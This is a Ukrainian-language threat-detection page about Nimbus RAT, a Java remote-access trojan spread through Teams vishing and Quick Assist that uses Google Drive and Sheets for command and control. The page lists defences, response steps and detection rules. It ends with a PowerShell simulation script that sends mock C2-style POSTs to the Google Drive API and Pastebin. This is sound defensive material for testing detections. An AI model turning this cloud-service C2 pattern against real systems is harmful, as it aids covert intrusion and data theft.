Nimbus RAT, поширений через Microsoft Teams та Google Drive
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Зловмисники використовували фішинг голосовими повідомленнями в Microsoft Teams разом із Quick Assist, щоб розгорнути троян віддаленого доступу на основі Java, відомий як Nimbus RAT. Шкідливе ПЗ використовує Google Drive і Google Sheets як канали командування та контролю і містить OpenJDK runtime. Для крадіжки облікових даних використовує або підроблене сповіщення безпеки Windows, або CredUI API для захоплення секретних даних користувача.
Розслідування
Підрозділ реагування на загрози eSentire відтворив повний ланцюг вторгнення, використовуючи журнали потоку пошти, телеметрію кінцевих точок і статичний аналіз Java шкідливого ПЗ. Кампанія комбінувала бомбардування електронною поштою, вішинг-дзвінок у Teams, дистанційну підтримку Quick Assist, інструкції, розміщені на Pastebin, та зламаний клієнт SharePoint, що використовувався для розповсюдження корисного навантаження.
Захист
Рекомендовані заходи захисту включають вимкнення зовнішніх повідомлень з Teams від невідомих клієнтів, блокування Quick Assist, де це не потрібно, попередження про збільшення активності бомбардування електронною поштою, моніторинг javaw.exe виконання з незвичних місць і виявлення підозрілих викликів API Google Drive, ініційованих неочікуваними процесами.
Реакція
Якщо виявлено діяльність Nimbus RAT, ізолюйте уражену систему, припиніть усі пов’язані javaw.exe процеси, видаліть C:ProgramDataInboxCorePro каталог та будь-які пов’язані ярлики запуску і розгляньте можливість повної перевстановлення системи. Також перегляньте журнали аудиту Google Workspace, щоб виявити будь-які неавторизовані надання доступу до додатків Google Drive.
Потік атаки
Виявлення
Виконання Java додатків з підозрілих місць (через створення процесу)
Перегляд
Підозрілі двійкові файли/скрипти у місцях автозапуску (через файл-події)
Перегляд
Можливий домен GoogleApis вирішується відомим зловживаним процесом (через запит DNS)
Перегляд
Можлива активність комунікаційного та контрольного утиліти Google (через проксі)
Перегляд
Ідентифікатори (HashSha256) для виявлення: Nimbus RAT: як загрозливі суб’єкти зловживають Microsoft Teams і Google Drive для розгортання Java RAT
Перегляд
Виявлення підозрілого використання Google API та Pastebin [Проксі]
Перегляд
Виявлення виконання Nimbus RAT через javaw.exe та команди розвідки [Створення процесу Windows]
Перегляд
Виконання Quick Assist і regedit.exe у вішинг атаці [Журнал безпеки подій Microsoft Windows]
Перегляд
Виконання симуляції
Передумова: Перевірка телеметрії та базового масштабу повинна бути пройдена.
Пояснення: У цьому розділі вказано точне виконання техніки супротивника (TTP), розробленої для виклику правила виявлення. Команди та наратив мають безпосередньо відображати визначені TTP та націлюватись на створення точної телеметрії, яку очікує логіка виявлення.
-
Сценарій нападу та команди:
Зловмисник вже скомпрометував кінцеву точку з бінарним файлом Nimbus RAT. Щоб встановити прихований канал C2, RAT видає два вихідні запити HTTP POST:- Виклик API Google Drive – завантажує невеликий JSON корисний вантаж до
https://www.googleapis.com/drive/v3/files?uploadType=media, імітуючи поведінку ‘завантаження корисного вантажу’ RAT. - Вставка в Pastebin – розміщує базове-64-кодовану команду у
https://pastebin.com/api/api_post.phpвикористовуючи публічний API ключ.
Обидва запити виконуються через PowerShell з
Invoke-WebRequest, щоб забезпечити наявність у журналах брандмауера полядомен(googleapis.comandpastebin.com). Атакуючий виконує команди у контексті скомпрометованого користувача, щоб змішатися з нормальною активністю. - Виклик API Google Drive – завантажує невеликий JSON корисний вантаж до
-
Скрипт перевірки регресії:
# -------------------------------------------------------------- # Презентація C2 Nimbus RAT – викликає Sigma правило на відповідність домену # -------------------------------------------------------------- # 1. Mock upload API Google Drive (без авторизації – фокус на телеметрії домену) $googlePayload = @{ name = "dummy.txt"; mimeType = "text/plain" } | ConvertTo-Json $googleUri = "https://www.googleapis.com/drive/v3/files?uploadType=media" try { Invoke-WebRequest -Uri $googleUri -Method POST -Body $googlePayload ` -ContentType "application/json" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Надіслано mock upload до API Google Drive" } catch { Write-Warning "Запит Google Drive не вдався (ожидається у пісочниці): $_" } # 2. Публікація через публічний API Pastebin (вимагає розробницький ключ – використовується заглушка) $pastebinKey = "YOUR_PUBLIC_API_KEY" # <-- замінити на валідний ключ для реального тесту $pastebinText = "echo 'Симулятивна команда від C2'" $pastebinUri = "https://pastebin.com/api/api_post.php" $pastebinBody = @{ api_dev_key = $pastebinKey api_option = "paste" api_paste_code = $pastebinText api_paste_private = "1" } try { Invoke-WebRequest -Uri $pastebinUri -Method POST -Body $pastebinBody ` -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Надіслано макетну команду на Pastebin" } catch { Write-Warning "Запит Pastebin не вдався (очікується в пісочниці): $_" } # -------------------------------------------------------------- # Кінець симуляції # -------------------------------------------------------------- -
Команди очистки:
# Видалити будь-які тимчасові файли або змінні, що використовувались під час симуляції Remove-Variable -Name googlePayload, googleUri, pastebinKey, pastebinText, pastebinUri, pastebinBody -ErrorAction SilentlyContinue Write-Host "[*] Очищення завершено."